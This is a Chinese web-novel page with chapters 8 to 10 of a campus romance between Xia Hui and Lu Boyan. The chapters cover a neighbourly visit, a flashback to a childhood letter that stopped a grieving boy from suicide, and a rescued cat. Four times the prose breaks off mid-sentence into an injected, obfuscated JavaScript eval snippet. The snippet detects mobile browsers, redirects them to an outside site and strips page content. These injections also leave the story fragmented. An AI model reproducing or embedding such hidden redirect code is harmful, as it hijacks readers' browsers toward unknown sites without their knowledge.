还好吧。夏洄觉得。加微信那天,路柏言看上去有些紧张,握手机的指节在发抖。 有点……社恐? 丽姐把路柏言扒了个底朝天。高中路柏言获得校辩论赛最佳辩手,京州市少年组演讲比赛冠军。 夏洄把“社恐”的印象移除了。极有可能是他看错了。 “宝,你高中还有什么趣事,关于你的,快和我说说,我和男模找个话题。” “我高中其实挺无趣的,”夏洄说,“每天除了训练就是赶作业补课,毕业了连同学名字都不记得,除非你想说那件变态情书。” “好像是哦,甚至都没时间和我们出来玩。” “我才不说,那件事只有亲眼看见才很好笑,我当时还和我班上同学跑去七中布告栏看啊,真的笑死了,可惜第二天就被撤掉了。不过想起来就很好笑。” 丽姐寻思一会儿,敲定了话题:“那我问他第一次看见你是什么时候,什么印象。” 夏洄:“非得用我当开场白么?他真的会回答这种无关紧要的问题?” 丽姐:“哎呀要相信女人的直觉,我就感觉他聊起来你兴致特别高。” 夏洄不相信这个直觉:“等会儿黄了不要怪我头上就好。” 丽姐重新编辑开场白发过去,这时候门铃响了。 夏洄首先看了猫眼,惊讶奇怪,他回头看丽姐,丽姐还捧着手机等回复。 他把门打开,路柏言不再是猫眼里矮小圆胖的缩影,而是高而挺拔的。比他高半个多头。 路柏言低眸看他,微微笑着,自我介绍:“嗨我是你的新邻居,路柏言。” 丽姐是不是感觉错了,刚搬来会主动和邻居打招呼的人,会很冷漠绝情? “路柏言同学,我们昨天刚见过,我记性不是鱼。” 夏洄这句话情感冷淡,他本人情绪也是。他一向如此。 敲门前,路柏言已经预判到了会是这种反应。 “没有别的意思,我只是希望我的名字能被人记住。” 能被你记住。 夏洄抿唇,问,“你的名字对你来说有什么特殊含义么?” 路柏言笑了,墨色眼瞳闪过往昔的情绪,感伤、不舍、释怀。 “是我外公取的,他是个小山村的老师,他教数学的,却很爱钻研文学,喜欢诗经。诗经里有薄言两个字,微薄的薄,希望我谨慎言谈,言之有物,沉稳内敛。 但他老人家觉得薄这个字不好,薄命薄情,就换成了木字旁的柏。他还是个迷信的小老头,觉得名字里带木,就会像大树那样稳定长大。” 不求大富大贵,一辈子安安稳稳才最好。 说到这里,他眉眼染笑,有种淡淡的忧伤。 夏洄才知道路柏言三天,了解约等于0,可他有种直觉,路柏言口中慈爱的老人家已驾鹤西去。 因为他提起已故爷爷时也是这般表情。 说起爷爷,夏洄话匣子就打开了:“我觉得你外公和我爷爷或许能玩到一起去。” 路柏言收了伤感的情绪,对夏洄这句话挑眉,“你的名字也?” 夏洄点头,解释道:“看你和丽姐聊天时好像对我有点了解,不知道有没有听过他们喊我小名,溯宝。溯洄的溯。” 终于到了揭开真相的时刻,很多年前,路柏言就想知道为什么是“溯宝”。 “一开始不是这个溯,是大树的树,我爷爷希望我像大树那样成长,积累自我,一步步安安稳稳,将来枝繁叶茂,硕果累累。” 路柏言:“那后来怎么喊的是平舌的su?” 夏洄耳尖悄然泛红,他声音也变小了,“因为有了这个小名后我和每个人打招呼时说,你好,我叫su宝,他们以为是溯洄的溯。以后都这么叫了。” 路柏言得偿所愿,解开了心底的谜。 他反应流露得体,内敛沉稳。 实则内心:好可爱/怎么这么可爱/夏洄小时候怎么这么可爱/溯宝溯宝溯宝好可爱好喜欢。 丽姐在客厅里偷听,内心震撼——原来这两个人还能一口气说这么多字的么? 夏洄一出手,比她绞尽脑汁编开场白有效多了。他们是怎么一步步聊这么多,短短几分钟到交心地步的? 这是不是一见如故,一见倾心,呸,过头了。差点不分青红皂白嗑cp了。 收敛点庄丽,乱嗑cp天打雷劈。 丽姐做好心理建设,姗姗然从客厅出来,对着路柏言露出标准的礼仪小姐笑,商务笑,“侬好侬好,我是庄丽。” 夏洄别过眼神,不想看此刻的丽姐,太尴尬了。那嘴角比放了半个月的月饼还僵硬。 脚有点酸累,可能站了有一会儿了。让拜访的客人一直站在门口并不礼貌,夏洄邀请新邻居来家里坐坐。 路柏言自然不会拒绝。夏洄关门前,对门门框边探出三个脑袋,眼巴巴望着他。 他认识其中两个,一个是路柏言的朋友,上次在食堂见过,另一个是电梯里的波浪红发。 “他们想做什么?” 夏洄朝后看往里走的路柏言。路柏言折返,高大的身量很快笼罩住夏洄。 夏洄能嗅到他身上的香水味,像是尼罗河花园那款,冷冽的苦柚香。 顾放眼见被注意到,立马大步过来。 “学长好,我是七中出来的,我叫顾放,照顾的顾,有的放矢的放,我和路柏言是好哥们,我俩可喜欢你了,每一场表演都没错过。” 其实是陪好哥们去看的。 好热情。 夏洄对顾放的初印象如此。他只当顾放后面说的那些话是恭维,因为顾放看上去很会花言巧语,不像好哥们那样内敛沉稳。 另外两个女生各自自我介绍了,特意强调了自己是伊婉的粉丝。 是堂姐的粉丝。这样一来,电梯里的事,夏洄一点儿都不感到奇怪。 他们仨是很想在夏洄家坐坐的。但顾源这时候出来了,喊他们有事。 结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749412|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去后,发现这只是个把他们支走的幌子。 他们仨牙齿咬得泛酸,后悔极了。 顾源:“第一次这么多人去别人家里,你们觉得礼貌吗?” 刚才顾源收到了路柏言的求助微信,他才出来把人支走。 “好像确实。” “那再熟点去吧,反正以后都是邻居了。” - 未来合作对象在场,但不是在自己家,于是丽姐主动承担起泡茶的工作。 目前路柏言并不知道庄丽加他微信的目的。他猜肯定不是搭讪。 不然每次就不会用夏洄开场了。字里行间还有些恭维讨好他的意味。 希望不是违背他原则底线的要求,爱屋及乌,他会很难拒绝。 丽姐提起茶壶斟满三杯茶,“我泡的茶没溯宝好喝,嘿嘿这次将就着。” 夏洄:“你是暗示下次我泡茶?” “有最好啦。我就是突然想起你每次泡茶的姿态。应该是古典舞专业的原因,感觉你泡茶举手投足都挺有韵味的。” 夏洄对此不作答应。 泡茶挺累的,还容易烫手,他目前就给他爷爷,丽姐爷爷和贺铭非爷爷泡过茶。老人家似乎格外喜欢他泡的茶。 他把眼神从丽姐倒茶的动作上收回来,无意间看见路柏言偷看了他一眼。 ……也想喝他泡的茶? 路柏言没察觉他被发现了,薄薄的眼皮微垂,淡泊悠远。 夏洄又觉得应该是他理解错了。可能就是不小心看了一眼。 路柏言给他一种看不透的神秘感,深沉静谧。 比如,那个“目的”是什么意思。 丽姐和裴晓培并不认可他那纯粹热爱艺术的猜测。 大概搞艺术的都有清高傲气吧。他就是想知道答案,他绝对没错。 路柏言放下茶杯,再抬头,夏洄正看着他。 “对我有什么疑问么,问吧,我知无不言。” 路柏言的笑同样具有迷惑性,很温柔,又太温柔。 这样说,那他就问了。也不管冒犯不冒犯。 竟然是这个问题。路柏言有瞬间惊愕,惊喜。 他以为夏洄不在乎的。 为此,他和顾放打了个赌。 现在看来,他输了。 顾放不在。不告诉他就不知道了。从顾放的视角来看,他还是赢的。嗯。 “目的就是,单纯想把这首曲子表演完美,因为我喜欢的人很喜欢这首曲子。” 他忍不住把后半句话说完。 夏洄瞪大眼睛,说实话路柏言紧张了,他甚至不确定夏洄此刻是不是单身。 结果夏洄只是蹭地站起来,跑到正在中岛台切水果的丽姐那里,神采飞扬地说什么。 看那样子,夏洄似乎也赌赢了什么。 又或许……看出他心思,不想面对接受而已。 夏洄最喜欢这首曲子了,又很聪明,他怎么可能听不出来呢? 实际上,夏洄真没听出来。 他听完了整句话,满心满眼却是“好耶我猜对了,就说是很纯粹的目的,他们都猜错了”。 8. 回忆 第8章 夏洄是八岁跟着家人一起来京州的,住进了庄丽所在的独栋别墅区。 彼时大两岁的庄丽和裴晓培听到小区里搬来了一户从南方迁过来的一家三口。小男孩是神童,七岁就办了个人画展,爸妈还是他们在电视上见过的表演家艺术家,爸爸帅气矜贵,妈妈漂亮优雅。他们对这位新来的小男孩的长相好奇。 可惜连续一个月他们也没见到夏洄,据说是身体差不能出来玩。 什么身体差,肯定是长得太难看了不敢出门。小区的小孩群里有人这样说。有人说看到过夏洄,帽子压得很低,戴着口罩,不让人看见脸,被大人牵着走路,露出来的手腕又小又细,没有多少肉,五官肯定也干瘪瘪的不好看。 庄丽和裴晓培都是外貌协会的,看脸,他们觉得夏洄爸妈那么好看,不可能生出来一个丑小孩,不然他们小小年纪就要接受来自大千世界无奇不有的摧残。他们肯定要亲眼看看。 于是他们终于等到一个晴天,两个人偷偷溜进了夏洄家的后院,躲在草丛里用望远镜看对面楼上的一扇窗户。他们打听清楚了,那扇窗户对着夏洄家里的音乐房,每天下午这个时候,窗户里会飘出来断断续续的钢琴声。 不过那天夏洄没有练琴,望远镜里他端坐在画架前画画,可以看到有些婴儿肥的侧脸,眼睛很大睫毛很长,嘴巴颜色有点淡,因为长期不出门,皮肤很白,有点粉看着嫩嫩的,怎么看怎么瞧都不是丑小孩。 他们准备了手机,要拍证据给那些造谣的小孩看。于是他们在原地等啊等,半晌后夏洄突然站起来,走到了窗户前,两个人看清了他的正脸,第一反应都是“卧槽”,他们当时学的流行语,哥哥姐姐找不到形容词又想表达震惊时就会说这个词。 夏洄五官一点都不干瘪,眼睛是浅蓝色的很特别很漂亮,鼻子一点都不干瘪,反而很高挺。庄丽当时看她姐化妆,涂山根阴影,增加五官层次感,她觉得夏洄的不用涂阴影,五官层次感就很惊艳了。睫毛也不用化,在楼下的距离用望远镜也能清楚看到那浓密纤长的睫毛。 两个外貌协会的小孩当即决定要和夏洄交朋友。但没想到,夏洄早就发现了他们,趴在二楼窗户口,看着草堆里的他们,让他们过去,要给他们一份礼物。 窗户飘下来一张画,上面是他们躲在草丛堆的模样。在两个人脑袋上分别标“笨蛋1号”“笨蛋2号”,把两人气得面红耳赤,撕掉了画,对夏洄大喊“你才是笨蛋!”,夏洄说“你们才是”,然后循环吵下去,小孩吵架就是这样,要没完没了时,一直没什么表情的夏洄突然笑了。 两个人纳闷问他笑什么,夏洄还在笑,他们生气了,转身要走,身后传来“喂,我不骂你们笨蛋了,要不要当我朋友?” 后来他们才知道,夏洄以前都没有小孩和他玩,因为他每天要练习很久很久,不能出门。 不过夏洄说他有朋友和他玩,他爷爷就是和他玩的朋友。夏洄每次提起爷爷总是话很多,像个叽叽喳喳的活泼小孩,也正常,爷爷过世时他只是个没长大的小孩。 夏洄和爷爷一起看动漫逛漫展买周边,庄丽和裴晓培他们当时流行追星,并不喜欢这些,虽然在爷爷死后,他们陪着夏洄看了动漫,不过只是两只眼睛看,最后连片名和角色都不记得,所以在迎新晚会时才没有第一时间反应过来。 “还真被你猜对了啊好厉害啊溯宝。” 庄丽没想到路柏言的目的真那么单纯。 夏洄只说了路柏言单纯想把曲子表演好,后面喜欢的人最喜欢的曲子,和他没关系,讲不讲都无所谓,不影响他猜对了目的这个结论。 路柏言完全听不见中岛台那边的对话。 庄丽不久前发了微信,问他第一次看见夏洄是什么时候,什么印象。 ……这是在试探他? 庄丽是夏洄的发小,很亲密的关系,知道夏洄的很多事情。 他也知道夏洄的很多事。 比如,夏洄和他爷爷的关系最好,他们经常在一起看《海贼王》,夏洄最喜欢里面一只小鲸鱼,他们全家每个新年都会合奏《Binks'' Sake》。 夏洄在信的结尾欢迎他以后去他家作客。 当时他坐在田坝上,面前是绵延不绝怎么也望不到出口的山峦,他在读一封从首都寄来的问候信。 他觉得无比可笑,老师怎么把这么蠢的一封信分到他手上?都是同龄人,来炫耀他过得很优越美好? 《海贼王》是什么?动画片?他家那卫星锅电视看动画片都只能搜到藏语卫视的藏语版。 那串英文曲?不好意思,村里没外语老师,26个字母都记不全。 邀请他合奏?好的,音符是什么? 他没看到半点问候,全是高高在上。有些东西一出生就有,没有就永远没有。 他气得想把那封信撕了,可想起了老师说的每人凭信领救济包,因为还要写回信。他没回,回个屁,写他在南方山旮旯里过得有多苦,让这位小少爷坐在沙发上吃着冰淇淋发笑吗? 外公下葬的那天,他一把火把茅屋烧了,背着一个破包和一只死狗离开了穷山恶水的村子。 他在山洞里整理东西时,课本里掉出来这封信。 他翻出来重新看,反正他准备要死了。再看一眼城里小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749413|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩过得有多幸福。他一辈子都过不上。 可是再看一遍时,他发现信的主题不是炫耀卖弄。这位署名为“溯宝”的小少爷没有提到父母,只提到了爷爷,和死去的奶奶。 溯宝说:爷爷会陪他做任何事,无论做什么,他都是快乐的。就算偶尔会因为不想吃药而凶起来教训他。 他和刚死的外公相处也是这样。外公训导他,他不耐烦不想听,可心里却不这样:这老头又在关心我了。 溯宝说:他们家养了只猫,叫贝宝,奶奶明明答应他会一直一起写《贝宝成长日记》,却没有遵守约定。他问爷爷《海贼王》什么时候大结局,他想和爷爷一起看大结局。爷爷问他,万一还没大结局他就去找奶奶了怎么办,他说“那我也一起去”。然后被爷爷打了。 看到这里,路柏言想起来为什么会给他们发豪华救济包和问候信。因为前段时间有留守儿童自-杀。 他继续看: [爷爷打我脑袋,说我白看那么多《海贼王》了,里面的主角热血又努力地活下去,可是我不喜欢看,我只是想陪爷爷看。爷爷说,任何时候都不要说这种话,哪怕他真的死了,也要记得这个世界上永远有人在等你,爱你。只是你还没遇到。永远这个词老师说是很久很久的意思,我不想等那么久,我只想让爷爷永远陪我] 路柏言看着这段话好久,然后翻到最后那句话: [我正在全国旅行,如果你愿意的话,可以在回信中把你的家乡告诉我,我一定会去找你,然后欢迎你来我家作客,我们可以一起合奏《Binks'' Sake》,这首曲子很欢快,就像很多人围在你身边跳舞欢唱,希望你也会喜欢] 去家里作客?在昏暗的月光下,路柏言看着这几个字。他好像没那么想死了。 回信是回不了了。他倒是很想看看这位“溯宝”将来要是看到他,还会邀请他去家里作客么,客套话而已,说得这么好听。 于是为了看到“溯宝”小少爷将来那种诧异又不情愿的虚伪表情,路柏言重新上路了。 回忆中断,因为丽姐端着水果盘过来了。 路柏言看着夏洄坐在他对面的沙发上,吃橘子,不是冰淇淋,也没有发笑,垂眸时没什么表情,看不出情绪,就像平时一样。 高中时,路柏言有机会写了封情书,里面写了那封问候信的故事,写了他对夏洄的心理是如何变化的,这些年怎么慢慢喜欢上的。 他怕写得不好,给作文拿过满分的好哥们顾放看了一遍,顾放看完拍他的肩,说看得他都要哭了。 这封情书的结局是在学校垃圾站里,那时路柏言和顾放正在倒垃圾。 9. 赌 第9章 时间有点久,路柏言该回去了。总不能让他一直赖在这里。 夏洄手机响了。 丽姐刚才和路柏言聊了天,问了他学业忙不忙,他说还行。再多聊聊,还得问有没有家室,有的话家室同不同意抛头露面。这些私密问题熟络了才好问,就好提模特合作的事了。 路柏言走出去前看见夏洄举起手机,像是一则视频通话。 里面似乎响起了贺铭非的声音。夏洄回答他:“吃了,吃得还有点多。” 门关上,后面在聊什么无从得知。 路柏言眸色暗下去。他并不确定夏洄目前是不是单身,最后会不会选择他。 就赌一把。 要么失去所有,要么赢得唯一。 - 贺铭非在迎新晚会上如愿获得人气第一。学生会的部长们愿赌服输全投了他的票。他成功当选这一届的会长。 即使没有这个赌,贺铭非凭借优秀的社交和工作能力,也有大概率获得大部分支持当选会长。 可他做不到投入精力去赌一个不确定的结局。 他要的不是大概率,要的是百分百稳赢。 如果今年错过了会长,就和他下一年的计划安排有冲突了。他每一段人生都有对应的目标,错过了只能放弃,人生履历中自然就少了这一项。 投票结果出来时,他第一个和夏洄分享了。夏洄祝贺他。 如果没有夏洄,这个赌他不可能完全有把握。 贺铭非要交接工作,很忙,连续几天都没时间和夏洄在一起。 好不容易停下来休息,第一时间给夏洄发微信,问他吃饭了没,要记得按时吃饭,不然又会胃痛。 “吃饭了没?” 这么多年,贺铭非给夏洄打电话的第一句话总是这个。 “吃了,吃得还有点多。” 夏洄午饭吃了虾仁馄饨、一个橘子、一份焦糖布丁。放在以前没有焦虑没有渴肤症时,这是他两餐的量。 “这不算多,放我身上一碗馄饨还不够我一顿的,我得吃两碗。” 很多时候一起吃饭,夏洄胃口小,吃不完一大碗的量,就会分贺铭非一大半。 他们从9岁认识开始,同吃了近10年。除了最近。 贺铭非问,最近他不在的日子夏洄都干了什么,有没有新鲜事。 快到午觉时间,夏洄有些困了,眉目懒倦。 “就和平时你在的时候差不多啊,吃饭睡觉练功。没什么有趣的。” 裴晓培午饭后仍窜稀,在厕所里打了两把游戏,出来时路柏言已经走了。 他在厕所里听不清楚,问丽姐都发生了什么。 他们的交谈声传入听筒,贺铭非听不大清,就听个人声。 他看着镜头里困得要睁不开眼睛,靠在沙发上的夏洄,立马切入重点。 “溯宝他俩后天还在不在你那,我过去找你。” 夏洄勉强睁着眼睛,“他们要在我这里住到假期结束。” “那后天我把他们支走。” “支走?可是四个人刚好可以围坐吃火锅。” 很碍事啊。 “我们两个人也能吃。” “人多吃得更香。” “……” 贺铭非操着可怜的眼色,在别人那狠辣不驯此刻变成了乞求关注的狗狗似的。 “可是我给你准备的生日礼物提前到了,我想当面送给你,你一定会喜欢。” 夏洄一定喜欢的东西真不多。十根手指里光爷爷、奶奶、《宾克斯的美酒》、柠檬、猫猫和狗狗就占了六根。 “是什么?” 贺铭非勾唇:“后天你就知道了。” - 不知道过了多久,夏洄在沙发醒来。 看了眼时间,距离他和贺铭非通话过去两个多小时了。 困到没意识,倒头就睡了。 丽姐和裴晓培并不在,在餐桌上留了字条,说结伴出去逛街了,晚上想吃什么发微信他们会打包带回来。 夏洄只希望裴晓培穿了一双舒服的鞋。至于晚饭,等会儿饿了再想。反正大概率会犹豫不决。 刚睡醒的脑子晕沉沉,夏洄走向厨房,切了一粒丽姐买的香水柠檬。 他把柠檬切成片,铺开放在瓷盘里,拿起一片叼进嘴,神色宁静的,端着瓷盘回到沙发坐着,查看手机消息。 -爸爸:下周回家了,先去给你过生日,想要什么东西? 夏洄眼睛眨了下,他咬着柠檬片,点开妈妈的聊天框。 最近一次聊天在一个月前。妈妈问他流感发烧好了没,可是也没来看他。 嘴里的柠檬片突然酸了一样,夏洄吐在了垃圾桶里。 垃圾桶靠近玄关。他听见了门外有猫咪叫,叫声尖锐,嘶吼,像是用石块断片划拉玻璃那样刺耳嘈杂。 正常情况下猫咪不会这样叫唤。夏洄立马打开门,看到的不是有人在虐猫,而是一只站在电梯门前的……呃,肥猫。 很肥的一只布偶猫。真的很肥。 夏洄姑姑家里有只17斤的英短,脸圆的像被蜜蜂蛰了,本以为是见过的最肥的猫了。 这只布偶猫保守估计有20斤。 猫咪轻飘飘看了他一眼,然后沉重地迈向对面,举起大概有小孩巴掌那么大的猫爪,砰砰,砰砰,剧烈敲击铁门。 可能是猫咪敲击力度不够,传达不了,夏洄看着它敲门,老半天路柏言也不开门。 落在喜欢小动物的人眼里,很绝情了,这种行为。 猫咪发出咕噜噜的叫唤,像是服软了,想吃东西,门还是不开。 夏洄于心不忍,他蹲下来抱起猫咪。 ——好重! 路柏言怎么养的啊,这只猫该减肥了! - 路柏言从夏洄家回来,用午休时间写了个代码。 写完了,他合上笔电,从卧室里出来伸懒腰。 顾放岔开腿坐在客厅里,龇牙咧嘴给自己上药。 “你看看,又给我抓出来两道。” 他手臂上的抓痕渗着血,刚出炉的,一长一短两条卷在一起,交织的中心点裂口最大,肉都翻出来了,看得路柏言幻痛。 “实在不行再送去给宠物店洗澡得了,谁治得了它啊,简直是活爹。” 顾放宁愿吃屎也不愿给贝宝洗澡。 但他打赌输了。不得不遵守赌约。 那是几个月前路柏言成功录取京大后的赌约。 顾放那时喝得有点醉了,直言不讳,说哪怕在大学里一起生活三年,他还不是和高中一样,和夏洄一句话都说不上。 路柏言嗤笑,怎么可能,和高中环境不一样了。 他们各自站在一边赌了,赌的是:在路柏言不引诱的情况下,夏洄会不会主动和他说话。 他要是输了,他给顾放在大学找个漂亮女朋友。 顾放美滋滋,觉得自己稳赢。 路柏言决定要表演《Binks'' Sake》时,顾放说他耍诈,这首歌要是在夏洄面前表演,夏洄一定会和他主动说话。 因为路柏言会把夏洄最喜欢的曲子弹得特别特别好。 路柏言笑笑,说,怎么可能,你不够了解他。 夏洄从出生到现在,什么都不缺,什么都见过:5岁被国画大师抱在手上合照,7岁被家人带到金色大厅,10岁参加英国皇室聚会,14岁桃李杯古典舞男子少年甲组金奖,17岁完成环球旅行…… 并不会因为一首曲子好听就感到新鲜好奇。 后面阴差阳错夏洄主动搭话。他没想到这也能赌输。或许好哥们和夏洄之间真有些缘分在。只不过迟了好些。 不过他不知道自己有一点猜对了。夏洄还真就因为那首曲子对路柏言好奇,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749414|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是对人,而是他的目的。 卫生间门大开,里面乱七八糟躺着顾放刚给贝宝洗澡的工具,在贝宝眼里是作案工具,死活不肯就范。 “没钱了。”路柏言实话实说。 送过一次去洗澡,等他去接贝宝的时候,工作人员是个小姑娘,哭着和他说,下次别来了。 没办法次次花钱洗澡。 顾放翻了个白眼,他知道路柏言的经济情况。 “你该庆幸夏洄住的不是中心别墅区。” 路柏言收拾了卫生间的残局,把袖子卷了两下梏在手肘处。只能他亲自出马了。 贝宝是他捡到的。布偶猫遗弃率据说是最高的。 “猫呢?” 顾放眼神往门一瞥,他手臂上抓痕火辣辣的疼,“被我扔外面了。” 没想到路柏言眉眼一下冷了。 “万一伤到人怎么搞?” 顾放瘪嘴。人,指的是夏洄吧。 门外过道并没有猫的身影。倒是邻居家的门没有关紧,似乎有喵喵喵传出来。 门缝里,贝宝正低头舔一支猫条,舔得又急又快。 夏洄蹲在他面前,另一只手揉他的脑袋,眉眼温柔,“宝宝,慢点吃,吃太快会变胖的。” 宝宝? 活得还不如一只猫。 “贝宝,出来。” 夏洄听到了路柏言的嗓音,他把门推开,路柏言站在门外。 路柏言快速扫了夏洄一圈,没发现和顾放类似的抓痕,看来贝宝没有袭击夏洄。 “贝宝,你在喊这只猫?”夏洄饶有兴趣。 路柏言知道他为什么很有兴趣,眼神闪烁:“嗯他叫贝宝,宝贝倒过来的两个字。” 夏洄:“好巧,我的猫也叫贝宝。他是加菲猫。” 这是他和爷爷一起取的名字。来自《海贼王》。 路柏言明显也看过,取一样的名字并不奇怪。 “你的贝宝呢?” 夏洄家里并不像有猫存在。 夏洄垂下眼,语气轻淡,“很多年前失踪了,……可能早就死了吧。” “也可能被人捡到养得很好。” 夏洄撩起眼皮,直直看过来,浅蓝色琉璃眼珠很特别很漂亮,对喜欢他的人来说,这是浓墨重彩的一眼。 路柏言曾经很多次很多次,希望这双眼睛能回头看他一眼,倒映出他的模样、他那颗藏不住的心。 而现在也算是一种得偿所愿。 路柏言浅浅笑着,说他的贝宝就是这个夏天被他捡到的。 那就是养了三四个月。 夏洄低头往玄关看,贝宝还在舔着猫条。 胖的问题也许贝宝在原主人那里就有。从卫生和毛发等细节看,路柏言把这只猫养得很好,很细心。 贝宝脾气似乎不好,养了这么长时间,说明路柏言还挺有耐心的。 捡到猫,不管猫是什么样的,养了就要负责,不然就是二次伤害。 “也许吧。”夏洄眉眼弯弯,“希望能碰到像你一样温柔细腻的主人。” 路柏言挑眉。他第一次听见有人用温柔细腻形容他。 躲在角落的顾放听到了这段对话。 温柔细腻,用来形容路柏言?怕是只有被迷惑的夏洄能用。 夏洄从初中起就在猫猫狗狗救助站当志愿者。现在仍是。 这个夏天路柏言在筒子楼附近第一次注意到贝宝。 彼时贝宝流浪了很多天,到处被小孩大人戏弄踹走,有人用打火机烧他的毛,骂他肥猫。 路柏言联系了救助站,喂了贝宝很多天,送贝宝走的最后一天,他心血来潮,对着低头舔猫条的猫喊了声“贝宝?” 猫抬起脑袋看他,喵喵喵,似是回应。 从那天起,路柏言有了一只名叫贝宝的猫。 要是赌输了,他并不会一无所有,孤老一生。 10. 抱我 0章 夏洄的贝宝是小学四年级时爷爷抱回家的。起初还是只三个月大的幼崽,爷孙俩一起养了三年,幼崽成了标准体型的加菲猫。 夏洄夜晚赶作业时,猫总是趴在他脚边睡。等夏洄写完了上床,猫也跳上去,就这样日复一日。 路柏言的贝宝让他想起他曾经的。 那是他第一只猫,也是最后一只。猫走丢的那天,夏洄哭了很久,大人们问他,要不要再养一只猫。他说不要。 爷爷去世后再也不会有第二个那样懂他疼他陪伴他的人,他也不会再有第二只贝宝。 可他偏偏很爱猫猫狗狗,生命中没有他们,他会感觉这个世界并不美丽。 所以爷爷去世,贝宝走丢后,他加入了猫猫狗狗救助站。他不能承受第二次失去,不敢再拥有任何一只小动物。 此刻夏洄坐在被斜入的阳光晒出温暖的地毯上,支起来的一条大腿架着厚重的相册,他翻阅着,被甜蜜的黑白回忆袭击,他痛了,眼角不禁溢出湿润。 他的渴肤症并非无缘无故产生。所有的因果都有关联的依据。 曾经他早上起来,手臂起了红疹,当时莫名其妙,每天都有打扫卫生,后来破案了,他对新换的床单布料过敏。 手机叮咚一声。新进来一封电子邮件。匿名的。 夏洄其实等了这封邮件很多天,焦灼害怕,怕真是他看到的想的那样。 最后偏偏在他翻阅家庭相册时发过来,想想有些讽刺。 他看完了。就这样原地呆坐在地上,怔愣呆滞,窗外的阳光晒干了他眼角的泪,就剩下道道干得难受的痕迹,就像是有虫爬过留下那种透明的液体干涸了,他干呕起来。 他想起爷爷曾经说,这个世界上永远有人等你,爱你。 可能说这句话的时候,爷爷就知道了,这个家迟早要散。 他更不能让人知道他的渴肤症,他们会说这是心理疾病,一问原因,原因和他家有关。他得瞒着,因为他爸妈都瞒了他五六年,外人更不能知道了。 现在他想被人抱,可发小都不在。 - “夏洄看到贝宝没说什么?” 顾放得知夏洄见过贝宝的事,啧,好哥们养了贝宝后被折磨得没脾气。有洁癖又怎么样,贝宝直接在猫砂盆外边拉粑粑,就不拉在里面。 路柏言正在给贝宝吹风,贝宝脏了,刚给他洗了个澡。 他知道顾放问夏洄的反应是什么意思。 “没有。” 顾放讶异:“夏洄看着挺聪明啊,他不会以为这么多巧合都是巧合吧,怎么就没往你喜欢他身上想呢?你告白没?哦对,你高中就告了,然后情书在垃圾堆里。” 顾放笑了好多年,回回被路柏言打,顾放也不还手,他就觉得好哥们真惨啊,但他真的忍不住笑,让他打一下发泄算了,反正也不会死。 不过那可能是误会。也可能是看了后扔了。以为路柏言是个神经病,小时候为了应付学校作业写的问候信,还真有傻子当真了,跟踪他这么多年,说喜欢他,不是疯子就是傻子。 路柏言垂眸撸贝宝柔软的毛,夏洄也撸过的地方。 他也不确定夏洄到底怎么想的。他告诉顾放“目的”的事。 顾放这回不笑了,沉默了:“不会吧这暗示都相当于明示了,他不是最喜欢那首曲子吗,也刚好在现场,真的就一点没往自己身上琢磨?” 他转而叹气:“唉除非他是个感情白痴,感性方面欠缺,但又不可能啊,高中就在传他和贺铭非谈恋爱了,还有上次他们跳那个舞,有几次近得抬头就要亲到了。” 高中有一次盛夏,那天中午停电还没恢复,导致下午的自习课一片哀嚎,全校比水深火热还要惨,因为饮水机没法制冷。 这时候顾放在逛学校论坛,吐槽学校不放人回家。然后一个热帖顶上来:就在刚刚,贺铭非去夏洄的教室给他送了一支三色冰淇淋球。翻墙出学校买的,并用移动小冰箱运回来的,一点没化。 路柏言在他旁边趴着补觉。每次自习课路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749415|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柏言都会补觉,晚自习老师不在他就提前走,其他同学都很震惊,不知道路柏言有什么秘诀,没怎么花时间学习每次还都是年级第一。 只有顾放知道,每天晚上路柏言都会打工到很晚,回到那个破小的出租屋。 前几天听说夏洄很想买一支28万的笛子,路柏言沉默了好几天。 可惜班上有些女同学直接叫起来,现场嗑cp,热泪高呼这绝美爱情。路柏言被吵醒,抬头冷声一句,“自习课吵什么?”他是班长。没人敢讨论了。 